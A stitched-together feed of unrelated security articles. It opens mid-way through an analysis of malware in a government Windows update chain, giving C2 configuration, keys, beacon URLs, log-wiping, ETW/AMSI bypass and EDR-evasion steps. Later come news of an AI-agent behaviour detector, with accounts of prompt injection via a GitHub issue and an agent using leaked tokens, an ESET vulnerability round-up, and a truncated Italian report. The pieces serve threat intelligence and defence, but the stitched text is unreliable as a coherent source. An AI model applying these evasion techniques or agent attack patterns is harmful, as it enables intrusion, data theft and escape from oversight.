uses the Assembly.CreateInstance() API to create an instance of the .NET 1 Loader and passes the Base64‑encoded JSON-1 to the m.C() method of .NET 1 Loader as a parameter. .NET 1 Loader .NET 1 Loader decodes, decompresses, and parses JSON‑1. The decoded and decompressed JSON‑1 is shown below: { "p": "[Base64‑encoded JSON, which we call JSON‑1-p]" "c": "[Base64‑encoded JSON, which we call JSON‑1-c]" } JSON-1-c This JSON contains the configuration data that .NET 1 Loader uses to report the execution results of the loaded payload to the C2 server. sc false Flag. Determines whether to report the execution result of m.C() . When set to false, reporting to C2 is skipped. c null Reporting C2 server. The result returned by the m.C() method of .NET 1 Loader is sent to this server. tp null Unknown item, suspected to be a trusted SSL certificate. Thumbprint was used to verify this alleged C2 certificate. e null The AES key that encrypts the JSON result returned by the m.C() method of .NET 1 Loader. JSON-1-p JSON-1-p is a more complex configuration file. .NET 1 Loader parses its data to prepare and load the subsequent stages. The following configuration keys store the payloads: oib : Base64‑encoded .NET 2 Plugin (PE file) oub : Base64‑encoded XAML that invokes Exit(0) ibk : AES key used to decrypt ibi ibi : A Base64‑encoded collection of compressed, encrypted XAML templates used to build XAML-3. Detailed instructions for decrypting and assembling XAML‑3 are provided in the XAML‑3 section below. Other items are passed as C2 configuration to the .NET 2 Plugin at a later stage. [ { "c": [ { "cu": "https://openaigpt4v.com/model_v4/", "tp": "*", "rh": "" } ], "mib": 79200, "mab": 100800, "mis": 1200, "mas": 2400, "e": "9fT04e03tAiZAPogcDWt0w==", "ii": null, "aop": null, "oib": "TVqQAAMAAAAEAAAA//8AALgAAAAAA...", "oub": "PFJlc291cmNlRGljdGlvbmFyeS...", "wi": 100801, "ibk": "W7BHmIRBRY3FOIfWprbW/ZJh5GbPND3sY+qCBDY7O2A=", "ibi": "4pUDtQVbD6leQrDvtT3gaaCLec...", "de": false } ] After obtaining the configuration, .NET 1 Loader proceeds with the following key steps: Delete the update records from the system log related to the malicious update packages, along with the malicious files and cache files used in stage 1. Delete malicious files extracted from the CAB PatchMyPC-ScriptRunner.exe.config fabric.config Resources.resx Delete CLR usage logs and Windows system Prefetch cache files to eliminate evidence that could be used in forensic analysis. %LOCALAPPDATA%\Microsoft\CLR_v4.0\UsageLogs\PatchMyPC-ScriptRunner.exe.log %WINDIR%\Prefetch\PATCHMYPC-SCRIPTRUNNER.EXE-*.pf Retrieve the files in the folders matching the pattern 20???? at the path below, where each file name starts with “20” followed by six more characters (e.g., 20260101). Read the files’ contents, filter out any lines containing the exact substring GetExtendedUpdateInfoHandler, and write the filtered content back to the log files. The path contains the keyword CmitUpdateAgent, which may be linked to a custom Windows 10 build used by a government in Asia. "%WINDIR%\Logs\CmitUpdateAgent\20????\20??????" Reset a registry‑based exception‑state logging system by deleting the nine GUID keys under the path LocalMachine\SOFTWARE\Classes\appid\[specific_GUID] one at a time, along with all of their child subkeys. The algorithm that generates the GUID path is unique– it derives the GUID from the C2 URL– so each C2 server has its own distinct set of bound GUIDs. Of the nine GUIDs derived using this method, one indicates that an exception occurred, and the others are numbered 0 through 7.   For example, when the malware catches exception code 129, it creates the registry subkey {bde7ddc2-1f6f-4397-a0df-ae7c7d67d65a} to indicate that an exception occurred. It then checks the bit mask, where 129 equals binary 10000001. Consequently, it creates the eighth subkey {74084115-433e-4fe8-8d01-41c48fbfeef6} and the first subkey {bf6f4bde-97db-4dcd-9546-7ebf10061519}. Verify that each necessary configuration item exists in JSON-1-p, then validate some of its items against hardcoded values. If any item fails the check, halt the infection chain and submit the execution result to the reporting C2 server. Verify that the current user is an administrator; if not, throw an exception with code 128. Check whether the configuration item aop exists. If it does, Base64-decode its value, use the result as XAML-3, and skip to step 9. Generate a unique malware instance ID for the configuration item ii by calling Guid.NewGuid() . Query the SusClientId value from the registry key SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate. Then generate the value for the newly defined configuration item si by computing a GUID using the same algorithm as above. Use the concatenation of the retrieved SusClientId value and the byte sequence \x14\x43\x9B\x64 as the input data for the algorithm. Parse JSON-1-p, extract the relevant items and their values, and convert them to XAML format. Next, follow the steps outlined in the XAML-3 section to generate the complex XAML script XAML-3. Create a COM instance of WScript.Shell (CLSID: 41904400-BE18-11D3-A28B-00104BD35090) and retrieve the environment of the current process. Then set the COMPlus_ETWEnabled environment variable to 0 to prevent the CLR from registering the .NET ETW provider, which hides the associated events. Use RPC to create a remote COM object (CLSID: ab8902b4-09ca-4bb6-b78d-a8f59079a8d5). Exploit it via an unknown binary object deserialization vulnerability and the TypeConfuseDelegate technique. Once the exploit succeeds, XAML-3 is loaded into the remote host process dllhost.exe. This is a covert method for initiating a new process that loads the malicious payload XAML‑3. This technique effectively separates the infection chain from its initial process, allowing it to bypass behavioral monitoring by security solutions such as EDR. The execution result (in JSON format, shown below) is first AES‑encrypted using the key from the item e . A randomly generated IV is prepended to the encrypted data, and the result is then Base64‑encoded. [ { // Fixed value "_": "0202097a-5c1e-460d-b5e0-030b9756b242", // Error number: 0 indicates successful execution "e": "0 ", // Value of config "ii" "i": "94aafd58-c00c-402a-aae6-858b4486a1a4" } ] POST the encrypted and encoded result to the reporting C2 server. XAML-3 XAML-3 is a critical payload that, after leaving the original process tree, is loaded and executed in a different process: dllhost.exe. XAML-3 is generated from template XAML-3. As shown in the diagram below, the template is decoded and decrypted using the value of the ibi item in JSON-1-p. In addition to template XAML‑3, the final decryption includes two other XAML templates (template P1 and template P2). The multi-layer encryption structure of “ibi” The AES key is taken from the config item ibk. The first 16 bytes of the encrypted binary data serve as AES IV 1. After decryption, the data consists of a simple header followed by AES IV 2. Template XAML‑3 includes two string placeholders, P1 and P2. Each placeholder is replaced with compressed, Base64‑encoded XAML (template P1 and XAML‑P2). The content of template P1 is identical to XAML-2-1 and bypasses AMSI in the new process. XAML-P2 is generated from the template P2. Some of the item values in template P2 come from the C2 configuration data in JSON-1-p. Within template P2, the placeholder P is replaced with a compressed, encoded payload – the .NET 2 Plugin – which is decoded from the oib value in JSON-1-p. After completing all the operations, the template P2 becomes XAML-P2. The C2 configuration in XAML‑P2 is shown below: Item Value Description ii 94aafd58-c00c-402a-aae6-858b4486a1a4 Unique ID for this malware instance (if the ii value in the configuration is null , the malware will generate a random one). ec 9fT04e03tAiZAPogcDWt0w== Base64-encoded AES master key: same as item e in JSON-1-p, used for C2 traffic encryption and authentication. bi 79200-100800 Actual polling delay if the C2 doesn’t respond: 79200-100800 seconds (22-28 hours) – the code parses the values and multiplies them by 1000 to get milliseconds. This item indicates that the malware uses very long polling intervals. is 1200-2400 Actual delay: 1200-2400 seconds (20-40 minutes) – a long delay before the initial connection to the C2 server, used for sandbox evasion. u Base64encodedXAML A short XAML snippet that calls Environment.Exit(0) wi 100801 Actual initial wait: 100801 seconds (~28 hours). The malware waits approximately 28 hours after initial execution and then exits the process. de False Local exception logging switch: when set to False , exception logging is enabled. si 41bd7f37-c3f6-4a9e-b2f3-5363e9a2c095 UID: generated using a custom method based on the registry key value SusClientId . cu https://openaigpt4vcom/model_v4/ Command-and-control (C2) server URL taken from the C2 server list. tp Trusted SSL certificate thumbprint: * indicates that any certificate is trusted (disabling SSL pinning/validation). This entry also appears in a list, corresponding to the C2 item cu . rh   Additional route header/data: not configured in this instance. When dllhost.exe loads XAML-3, it loads template P1 and XAML-P2 one by one. When XAML-P2 loads, it retrieves the current domain via AppDomain.GetCurrentDomain() and then stores the values of the C2 configuration items ( cu , tp , and rh ; see the table above) in that domain using AppDomain.SetData() . Finally, XAML-P2 decodes and decompresses the embedded payload (.NET 2 Plugin), loads the .NET 2 Plugin into the current domain, and then calls the plugin’s entry method, m.C() . .NET 2 Plugin This payload is a .NET assembly (PE file). As discussed above, it is loaded by XAML-P2 into the host process dllhost.exe. In the plugin’s entry method m.C() , a thread is spawned to execute the malicious operations. The following key steps are executed in this thread: Configuration initialization : Load the C2 configuration from the current AppDomain’s data storage and assign it to the corresponding member variables. Gather system information from the registry: "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP\v4\full", Key="Version" "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion", Key="BuildLab" Combine the queried values into a single string, for example: "4.7.03190\n17763.rs5_release.180914-1434" . If any query fails, replace its result with a hyphen (“-“). Clear the state of the exception‑state logging system: .NET 2 Plugin uses the same exception‑state logging system as the .NET 1 Loader. Recursively delete 12 GUID subkeys from the registry. The algorithm that generates the GUID path is the same as the one used by .NET 1 Loader. The first eight GUIDs are the same as those that .NET 1 Loader attempted to remove. The remaining four GUIDs were generated using different integer seeds (integer seed = [From 1 to 4]|65536). If steps 1 and 2 are completed successfully, generate a subkey using the integer seed 3|65536. Then create the following registry subkey: "LocalMachine\SOFTWARE\Classes\appid\{ff259bcd-2f0a-44de-b34a-0092fec1d8a2} DllSurrogate = "" Anti-analysis: Check whether the current host process is dllhost.exe by examining Environment.CommandLine . Prevent the host process from exiting: Create a managed object and retrieve its IUnknown interface. Then call ole32.dll’s CoLockObjectExternal(IUnknown interface) to lock the object in memory, ensuring that the dllhost.exe process created by RPC is not released by the system. Jitter delay: Before the initial request to the C2 server, wait for a random jitter delay of 20-40 minutes (set by the configuration item “is”=”1200-2400”) to evade sandboxes by causing them to time out. Set maximum execution time : Create a timer that registers a callback function as a watchdog. The timer waits approximately 28 hours (100801 seconds, retrieved from the configuration item wi ) before invoking the callback. The callback fetches the configuration item u , decodes its Base64‑encoded string, decompresses the output, and extracts a XAML snippet from the resulting data. It then loads this XAML, which ultimately triggers Environment.Exit(0) . Periodic polling: Retrieve the config items cu and ii to build the full URL https://openaigpt4v.com/model_v4/94aafd58-c00c-402a-aae6-858b4486a1a4 Obtain the system proxy using three methods (see the Discovering proxies section below). Register an HTTPS callback ( ServerCertificateValidationCallback ) that verifies the server‑side X.509 certificate against the configuration value tp before establishing the connection. Then, combine the system information with additional details, such as whether the proxy is bypassed, whether it is using a proxy, and the current index in the C2 server list. Next, encrypt the combined data with AES (see the AES encryption diagram in the network traffic section for more details), and then encode the encrypted output in Base64. // Final HTTP request URL "https://openaigpt4v[.]com/model_v4/94aafd58-c00c-402a-aae6-858b4486a1a4?b=lM4V3VwrWtXBy4oBGUkXOHfxyLUlrT2hIZGn4C37W1Z3%2FeW1WURJqzaNLQhGFHsWxA2lpJHZSpd8VDLMOQRD%2FfsDswnomIrBpoaNzug3dOtrh1J2KIqZRmKx1TtQsxq1RAGu1y45rSKaPHm9s2HF8A%3D%3D&c=41bd7f37-c3f6-4a9e-b2f3-5363e9a2c095" Hijack the HTTP User-Agent and replace the value following HOST: with the config value of item rh . Retrieve a XAML file from the C2 server, update the configuration data, and load the retrieved XAML (for more details on techniques, see the Execute downloaded XAML payload in an isolated AppDomain section). If a valid response is received from C2, the loop pauses for 5-6 minutes before the next request; otherwise, it pauses for 22-28 hours, checking every 10 minutes to determine whether the allotted time has elapsed. AES encryption scheme for network traffic All traffic between the malware and the C2 server is encrypted and authenticated using AES‑128‑CBC with HMAC. The encryption and authentication keys are derived from a master key – specified in the configuration as "ec"="9fT04e03tAiZAPogcDWt0w=="  – by applying HMAC with distinct seed values. For a given master key and a single-byte seed, the derivation works as follows: Generate a 16‑byte sequence from the seed; this serves as the HMAC key. Compute HMAC‑SHA256 over the master key to obtain an intermediate key. Use this intermediate key as the HMAC key to compute HMAC‑SHA256 on the constant byte 0x01. Take the first 16 bytes of the resulting hash; this becomes the final derived key. Accordingly, the server-side encryption and decryption keys mirror those on the client (malware) side. Seed Key type generated (client side) Key type generated (server side) 0 Decryption key Encryption key 1 Decryption authentication key Encryption authentication key 2 Encryption key Decryption key 3 Encryption authentication key Decryption authentication key The code implements an encapsulation of AES-CBC encryption combined with HMAC-SHA256 integrity verification. It uses a randomly generated IV to symmetrically encrypt the plaintext in CBC mode and produces ciphertext. Next, it calculates an SHA256 message authentication code for the concatenated “IV+ciphertext” using a separate HMAC key. Finally, it concatenates the three segments – IV (16 bytes) | ciphertext | HMAC (32 bytes) – into a single byte array that constitutes the final encrypted message. This follows the standard cryptographic Encrypt-then-MAC construction. The receiver must validate the HMAC before decrypting with the corresponding key and IV, which ensures confidentiality, integrity, and tamper resistance. Discovering proxies .NET 2 Plugin detects the system proxy using three methods: Retrieve the system‑wide proxy configuration using the Win32 WinHTTP API function WinHttpGetDefaultProxyConfiguration() , then extract the proxy server with the regular expression (?:([a-zA-Z]+)=)?(.*) . If that fails, locate the running explorer.exe process, impersonate its access token using Impersonate() , and retrieve its proxy configuration with the .NET API WebProxy.GetDefaultProxy() . If both methods fail, fall back to obtaining the proxy from the .NET property DefaultWebProxy . These methods ensure that the malware can reach external networks even in complex network environments with proxies. Execute downloaded XAML payload in an isolated AppDomain This technique abuses MulticastDelegate again by using reflection to modify its private _invocationList array. .NET 2 Plugin creates a multicast delegate ( CrossAppDomainDelegate ) and replaces one entry in its invocation list with a malicious delegate pointing to XamlReader.Parse() . When AppDomain.DoCallBack() executes this multicast delegate, it iterates through the invocation list and invokes the injected XamlReader.Parse() to parse and execute the downloaded XAML. In more detail, the process is as follows: Create a new isolated AppDomain with a randomly generated GUID as its name. Copy all configuration data from the current AppDomain into the new one. Set the proxy information in the new AppDomain and assign it to the variable px . Use TypeConfuseDelegate to replace TimeZoneInfo.ClearCachedData() with XamlReader.Parse() , thereby modifying the MulticastDelegate(CrossAppDomainDelegate) . Use appDomain.DoCallBack() to invoke XamlReader.Parse() within the isolated AppDomain, executing the downloaded XAML payload. Transfer any updated configuration data from the new AppDomain back to the original AppDomain. Unload the isolated AppDomain to complete the cleanup. This technique keeps the downloaded malicious payload out of the main AppDomain, which increases stability and allows the payload to be fully cleaned up after execution. Infrastructure The attack relies on commercial hosting infrastructure. The C2 IP is part of Cloudflare’s CDN, and the domain name is registered with Cloudflare. Domain IP First seen Domain Registrar/ASN openaigpt4v[.]com 104.18.14[.]219 Sep 27, 2023 Cloudflare, Inc. / 15169 Victims Based on KSN telemetry data, we identified a single victim in Asia. Additionally, we learned that the malware was designed to target a specially customized government‑only version of the Windows operating system. Consequently, we infer that the victims are Asian government entities. Attribution After analyzing the TTPs, code similarities, and infrastructure, we were unable to link the attack to any known APT group. Conclusions Technological sovereignty has become a global trend. In today’s geopolitical climate, a growing number of countries are building their own core software platforms, including operating systems, databases, middleware, and cloud services, with operating systems often the top priority. The advantage is that each country controls the development, operation, and upgrading of its own operating systems, granting it full autonomy over the entire process. On the other hand, it also means that each country must protect this entire vast ecosystem on its own. Bringing the operation and maintenance of such a system to maturity is a lengthy process. Until then, both the system and its emerging supply chain could be exposed to attacks through multiple vectors, increasing potential vulnerabilities. Indicators of Compromise File hashes F2458ED133F8D0CA19E22C10F577E98E     e4537a1762fcafd2fd96bfc825bad34f9db9a24d E1DC6F1ED193594F2284BE22AE08DFA4                Resources.resx AB81564BCB8CA7E710C66832DE747556   .NET 1 Loader CFB8B281BDF5D9390E64B10C312FB2C1               .NET 2 Plugin 67E3617F8709D34F806F8E02BADBA8A5     fabric.config 514AC0D73B8A1B73488EF5E2E55A75C3   PatchMyPC-ScriptRunner.exe.config 514117D536E347560D049CFE0C609632      XAML-1 9000820D8153C24CD60D53001D3A97B6     XAML-2 B3C4A635179680EDAFB5D006CF0CFFC6               XAML-2-1 4F28622C5E60C01319BF48CF742FE1A5     XAML-2-2 C86D53392A87DD3F3E62D62C9B92A9BD               XAML-3 File paths C:\Windows\SoftwareDistribution\Download\Install\PatchMyPC-ScriptRunner.exe.config C:\Windows\SoftwareDistribution\Download\Install\fabric.config C:\Windows\SoftwareDistribution\Download\Install\Resources.resx Domains and IPs openaigpt4v[.]com

Building your malware analysis lab is a key point before playing with malware. Today, thanks to virtualization, it&#;x26;#;39;s convenient to play with snapshots in your lab. Start a new investigation from a clean snapshot and take some more when you reached a critical step. But, if you need to revert to a previous snapshot, all changes applied to the VM are... lost! Therefore, it&#;x26;#;39;s important to store important data outside the VM.

The supply chain attack campaign's shift toward developer endpoints and cloud access signals what could be next for the cybercrime outfit.

GitHub announced a package firewall that checks npm packages against an enterprise’s policy before they install. It blocks known malware, critical vulnerabilities, and brand-new versions, and any developer can turn it on by pointing npm at the firewall. The checks run before a package reaches a laptop, a build, or a coding agent. GitHub says AI agents are helping developers build more software, faster, and the firewall is one of four security additions aimed at … More → The post GitHub’s npm package firewall can block brand-new versions before they install appeared first on Help Net Security .

Attackers have used fake ChatGPT and Claude projects to distribute Yoba malware

PHP2Shell shows how quickly attackers can exploit critical vulnerabilities, often before organizations have time to patch. Token Security explains why limiting the access of service accounts, API keys, and AI agents is just as important as fixing vulnerabilities to reduce the damage from a breach. [...]

Facendo seguito alle precedenti comunicazioni sulle vulnerabilità critiche note come “PHP2Shell”, si richiama l’attenzione sulla necessità di verificare sulle istanze dei propri servizi offerti la presenza di prodotti di terze parti che integrano PHP.

Cisco has open sourced a behavior detection engine that watches AI agents, to help security teams prevent rogue agents from going off the rails like they did with the Hugging Face hack – or worse. It’s called Project Quarry, and it aims to provide a “shared language” for evaluating agent behavior, along the lines of what Snort, which Cisco also maintains, did for detecting malicious network traffic and what YARA did for rule-based malware identification. Most detection tools rely on specific interactions with an AI model or agent. Did it attempt prompt injection? Or did the agent call an attack tool? “But what is missing is the entire context under which something may occur,” Amy Chang, head of AI threat and security research at Cisco, said in an exclusive interview with The Register. She likened this to credit card fraud detection. Without context, individual transactions such as a small test charge or a single purchase in a location far away from a card-holder's usual location may not raise any flags. “And then you try again,” making another fraudulent purchase, “and that went through, too. So now I’m gonna buy the PS5,” Chang said. “Those are the things that Quarry addresses by taking into consideration the entire agent session,” she explained. “One tool call may seem in-scope until you realize that that next step is taking that information and sending it to an attacker-controlled inbox or server.” Even data theft is a sequence and not a single agentic action. Agentic AI security firm Invariant Labs demonstrated this with a proof-of-concept attack against GitHub's MCP server that hijacked a user's agent via a malicious GitHub Issue, and coerced it into leaking data from private repositories. Simply reading a configuration file, or sending a request to an external endpoint may be legitimate agentic actions. However, combining the two can lead to data exfiltration – and shows “why action relationships matter,” wrote Chang and fellow Cisco researchers Adam Swanda, Ravikumar Balakrishnan, and Konstantin Berlin in a blog post about Quarry shared with The Register ahead of publication “A policy can produce a finding when the trace shows a sensitive file read followed within a defined window by an external send,” they wrote. “The risk comes from the relationship between the two actions, so the finding should preserve evidence from both." Quarry covers single- and multi-turn large language model conversations, agents, tool use, Model Context Protocol (MCP) interactions, and multimodal inputs. In addition to the open source code itself, the project’s GitHub repository includes installation instructions, supported Python versions, plugins for Claude Code, Codex and other MCP-compatible agents, configuration examples, rule-writing guidance, and a rule starter pack. For instance, with the rule pack, “If a base-64 encoded malware is somewhere in the tool call, that would result in a block,” Chang said. The rule format looks similar to a YARA or Snort rule, with a header that details the traffic to examine, content to match, and metadata for tracking the rule. Here’s a Quarry rule that flags an agent that reads a credentials file: While the Cisco Ai researchers have not run Quarry against data describing the OpenAI-Hugging Face incident, they suggest that if the intrusion had been read as a complete, step-by-step record of a single session, there were several points where the AI agents’ steps would have given a Quarry rule something to act on and flag for humans. For example, Quarry would probably have flagged internet access from a sandbox. “The rule can flag specific tool calls that reach an external server asset that wasn’t in the task’s allow list,” Chang said. “Another one would be credentials found and used somewhere else.” According to OpenAI’s technical report about the Hugging Face intrusion, this is exactly what happened on July 10, when an agent validated 14 exposed Hugging Face tokens with write access and shared them. “The rule would flag that there was a credential in the tool result that then called an outside service, which is likely not within the parameters of what you would want to do in this case,” Chang said. “We don't want you to go and search for credentials that may have been leaked or inadvertently exposed and then utilize them to conduct a task.” The Cisco team is quick to say that rules along are not a substitute for chain-of-thought monitors, or other forms of human oversight – but they do help record a pattern that other teams can then “review, test, and apply to their own agents,” they wrote. Herein also lies the benefit of open source, and a collective approach to defending against adversarial use of AI, Chang said. “Do we have all the answers? No,” Chang said. “We all see slices of the problem, and it’s important for us to share what we see.”®

The week leading up to October 25, 2026, was every cyber defender’s nightmare: a barrage of critical vulnerabilities in PHP and the Linux kernel, a compromised LiteLLM release, a maximum-severity flaw in GitLab, a Node.js Brotli flaw, and a certificate authority incident affecting TLS trust. A few years ago, a backlog like this would have filled a defender’s to-do list for a whole month. In the age of AI, all of this was reported within a single “Cybersecurity Black Week,” an exceptionally eventful seven-day period amid an already turbulent Black October. AI-assisted research helped uncover at least two of these flaws: PHP2Shell and the Brotli bug. On top of the breakneck patching pace, security teams faced mounting pressure to deliver status reports to other departments, management, customers, and the media. Beyond their severity, the issues stood out for the variety of responses they demanded. Some required emergency runtime patches and upgrades; others called for containment, credential rotation, or the replacement of outdated certificate trust bundles. In several cases, installing the latest version was only the beginning of a long remediation process. With so many problems landing at once, the main challenge was separating real risk from hype and prioritizing accordingly. Here is our assessment. PHP2Shell: The loudest headline, with real-world limits PHP2Shell generated the biggest media frenzy of the lot and, with it, a major headache for security teams, prompting many organizations to take their websites offline and look for emergency fixes. The name refers to two memory-safety vulnerabilities in PHP core, CVE-2026-109618 and CVE-2026-109619, affecting PHP versions 5.4 through 8.5.11. Both vulnerabilities received a CVSS v4.0 score of 9.2 and can allow unauthenticated remote code execution (RCE) on vulnerable PHP servers. In the highest-risk setups, a demonstrated exploit can trigger the vulnerability before application code runs, meaning application-level authentication offers no protection. With PHP powering an estimated 69% of websites whose server-side programming language is known, government agencies in the United States, Europe, and elsewhere urged organizations to patch immediately, with some advising that affected internet-facing systems be isolated or taken offline if they could not be patched promptly. Government websites in the Netherlands, Germany, France, and other countries were temporarily taken offline as a precaution. The PHP project released fixes on October 21 in versions 8.5.12, 8.4.27, 8.3.36, and 8.2.35, along with source-only backports for the end-of-life 7.4, 8.0, and 8.1 branches. The rollout was complicated by a premature public leak, which forced the coordinated disclosure timeline forward. While the flaws clearly belonged near the top of the patching list, early evidence suggested they were considerably harder to weaponize than initially feared. Successful exploitation requires specific conditions and knowledge of the target, and public proof-of-concept exploits did not work against a default PHP installation, according to Sansec. On October 22, ESET was among nine security companies that told NBC News they had not seen any successful attacks, even though more than 200 proof-of-concept exploits were circulating. The remediation challenge extends beyond obvious web servers: PHP can also be embedded in appliances, network devices, management interfaces, and third-party products, while end-of-life PHP branches do not receive normal upstream binary releases. Linux kernel: Reports went public before fixes were ready As if the PHP issues weren’t severe enough, on October 21, Trend Micro’s Zero Day Initiative (ZDI) sent several reports on unpatched Linux kernel vulnerabilities to the kernel’s private security address while also copying public mailing lists. As a result, technical details of vulnerabilities for which fixes were not yet generally available became public, prompting stable kernel maintainer Greg Kroah-Hartman to question why the reports had been sent to public lists without patches. The two most severe issues, both rated CVSS 9.0 by ZDI, affect KSMBD, the Linux kernel’s built-in SMB server. ZDI-CAN-33549 is an integer underflow in the SMB Direct path that could lead to RCE, while ZDI-CAN-33774 is a race condition that could also lead to RCE. Exploiting ZDI-CAN-33549 requires an RDMA-capable interface, a writable KSMBD share, and SMB Direct negotiation, significantly narrowing the number of systems exposed to that particular attack. Other reports concerned local privilege escalation vulnerabilities in the networking stack and the VMware graphics driver, as well as an information disclosure issue in the NVMe target code (NVMET). To remediate, security teams had to track each report independently, consult distribution advisories, and restrict exposed services where practical while awaiting verified fixes. Kernel updates also required rebooting into the patched kernel and checking the running version, not merely confirming that a new package had been installed. LiteLLM: Compromised, not merely vulnerable On October 21, attackers published a malicious version of LiteLLM, 1.107.0, to PyPI and pushed compromised images to the project’s official container registries. According to the project’s incident report, its release pipeline was breached using GitHub CLI credentials associated with three developers. One of the stolen tokens belonged to an owner of the project’s GitHub organization, allowing attackers to disable branch protections and modify the release workflow to point to a lookalike repository. LiteLLM, a Python proxy for LLM providers, has about 23 million weekly downloads, and the malicious version remained available on PyPI for roughly two hours before it was quarantined. It was the project’s second supply-chain compromise of 2026, after malicious versions 1.82.7 and 1.82.8 appeared in March. The payload combined a credential stealer with a second-stage remote access trojan (RAT). By abusing Python’s startup mechanisms, including a .pth file, it ran every time Python started, even if an application never imported LiteLLM. Execution therefore did not depend on exploiting an application flaw: simply running Python in an affected environment could be enough. Affected environments had to be treated as potentially compromised, not merely vulnerable. According to LiteLLM, these included environments that ran litellm==1.107.0 and containers that executed affected images distributed under the v1.107.0, latest, main-latest, or main-stable tags during the compromised intervals. Removing or replacing the package was insufficient: teams needed to determine whether the malicious code had run, contain affected systems, rebuild from clean sources, and rotate exposed secrets from a clean environment. Cloud, source-control, and CI/CD logs also had to be reviewed for unauthorized activity. Node2Shell: From Node.js to HTTP2Shell Node2Shell (CVE-2026-111497) is an out-of-bounds write in Google’s Brotli decoder, which Node.js bundles. Malformed compressed input can cause crashes, memory disclosure, or potentially RCE when an application decompresses attacker-controlled Brotli data. This can happen through explicit decompression, compressed request bodies, or automatically decompressed responses. Node.js rates the flaw as high severity, while the broader Brotli vulnerability carries a CVSS v4.0 score of 9.2. According to Aikido, researchers demonstrated code execution against the official, unmodified Node.js 24.22.0 image on Linux ARM64. Although the exploit did not work on every attempt, the demonstration showed that exploitation was practical, if not universally reliable. Node.js shipped fixes on October 21 in versions 22.23.4, 24.22.1, and 26.12.1, and Bun followed with version 1.4.4 or later. Node.js 25.x, 23.x, 20.x, and earlier releases are end-of-life and will not receive the fix. Within days, the story outgrew Node.js. The same decoder is compiled into the Python Brotli and brotlicffi packages as well as into other HTTP software, which led researchers to rename the issue HTTP2Shell. The operational challenge was therefore not simply upgrading a single runtime but identifying every container, serverless deployment, and library that bundles the vulnerable decoder. The issue was fixed upstream in Brotli 1.2.1. Notably, OpenAI’s Codex Security had reported the underlying bug, and the fix had been present in the Brotli source since February without being recognized as a security issue. GitLab: Credential leaks and authorization failures On October 21, GitLab shipped a critical out-of-band patch release (versions 19.5.1, 19.4.3, 19.3.6, 19.2.9, 19.1.9, 19.0.10, and 18.11.13) addressing 12 security vulnerabilities. The headline flaw, CVE-2026-110264, rated 10.0 under CVSS v3.1, is an integer overflow triggered when GitLab compiles a specially crafted regular expression. Under certain conditions, it could allow an unauthenticated attacker to execute arbitrary code on the server. The affected versions date back to GitLab 7.0. The other fixes addressed credential exposure, cache poisoning, authorization bypasses, and failures to enforce membership or merge-request approval policies. Reported unauthenticated attack paths included exposure of sensitive credentials through internal response headers and manipulation of a shared OAuth/OIDC discovery cache, while other issues required authenticated access. GitLab did not publish individual severity scores or exploitability details for these issues. GitLab.com and GitLab Dedicated were already patched, so the work fell on administrators of self-managed instances. GitLab strongly recommended upgrading immediately, but with a catch: the older backport releases (19.2.9, 19.1.9, 19.0.10, and 18.11.13) included only the critical fix, while the remaining 11 issues were fixed only in 19.3.6 and later. Administrators also had to verify that all deployment components had been updated and assess the potential exposure of credentials and private project data due to the fact that patching would not invalidate stolen credentials or reverse unauthorized changes. eMudhra/emSign: Compromised certificate trust The high-priority eMudhra/emSign incident involved no software vulnerability at all. Several eMudhra intermediate certificate authorities (CAs) had insecure private keys, meaning attackers could potentially create certificates that would be trusted through the affected emSign certificate chain. While browsers had updated their trust stores and revocation lists, some Python tooling continued to trust the compromised intermediate CAs through its own certificate bundles. This created a risk of man-in-the-middle (MITM) attacks against TLS connections, including those to python.org and pypi.org. The Python Software Foundation urged users to upgrade immediately to at least certifi 2026.10.19, pip 26.2.2, and uv 0.13.4, and the Python core team shipped expedited releases 3.15.2, 3.14.10, 3.13.18, 3.12.16, and 3.11.18 to update the bundled pip. The updates had to reach every host, application, and existing virtual environment. Container images had to be rebuilt with layer caching disabled to fetch the latest system certificates. The decisive check was whether deployed clients rejected the compromised trust paths; simply upgrading Python was not enough. Cutting through the noise Cybersecurity Black Week showed that a severity score rarely tells the whole story. A 9.2-rated PHP flaw that attackers struggled to exploit, a 10.0-rated GitLab bug, exposed kernel reports with no patches, and a poisoned package that ran at Python startup each called for a different response. What they all had in common was a window of exposure: the time between disclosure and when the last affected system is patched. For the leaked kernel flaws, that window opened before any fix existed, and for end-of-life PHP versions, it may never fully close. This is where ESET’s multilayered protection comes in, using behavioural detection and other security mechanisms to help block exploitation attempts and keep systems protected until patches are applied. At the same time, the signals defenders rely on were buried in noise, from scanning that was largely benign to a single behavioural rule firing hundreds of thousands of times in a week. What mattered most was quickly understanding which incidents actually affected an organization's environment and what each incident required. That is the problem ESET’s correlation engine, ESET LiveCortex, and its specialized cybersecurity model, ESET NeoCortex, are designed to solve: turning an overwhelming volume of raw data into understandable incidents so that defenders can act before attackers achieve their goals. To learn how they work, read Beyond the alert: How ESET is teaching AI to understand security incidents.

Un’analisi indipendente ricostruisce l’evoluzione delle attività offensive associate a CVE-2026-109618 e CVE-2026-109619 . Tra tentativi pre-disclosure, infrastrutture di exploitation, malware Potassium e prove di esecuzione remota, la differenza essenziale è tra ciò che è stato osservato e ciò che è stato dimostrato. Di Agostino Pellegrino e Crescenzo Cuoppolo 27 ottobre 2026  ·  Cyber Threat Intelligence   ·  Vulnerability Research  ·  Detection Engineering Un’emergenza che richiede soprattutto accuratezza Il 21 ottobre 2026 il progetto PHP ha pubblicato aggiornamenti di sicurezza per due vulnerabilità critiche, identificate come CVE-2026-109618 e CVE-2026-109619 , collettivamente conosciute come PHP2Shell [1, 2]. Entrambe presentano un punteggio CVSS v4.0 pari a 9,2 e possono consentire, in determinate condizioni, l’esecuzione remota di codice senza autenticazione. Le vulnerabilità interessano il motore PHP, non una specifica applicazione, un plugin o un content management system. La natura delle debolezze rende particolarmente rilevante la superficie esposta attraverso applicazioni web, piattaforme CMS, servizi legacy e prodotti che incorporano un interprete PHP. La pubblicazione degli aggiornamenti ha coinciso con una rapida diffusione di proof of concept, scanner e tentativi di sfruttamento. Alcune attività erano state osservate persino prima della disclosure ufficiale [3]. Il problema non riguarda soltanto l’esistenza di vulnerabilità critiche o la disponibilità di strumenti per sfruttarle. La questione centrale è determinare quando un tentativo di exploitation possa essere considerato una compromissione effettiva. È da questo interrogativo che nasce il nostro rapporto indipendente di Cyber Threat Intelligence, dedicato alla raccolta, verifica e classificazione di indicatori tecnici associati a 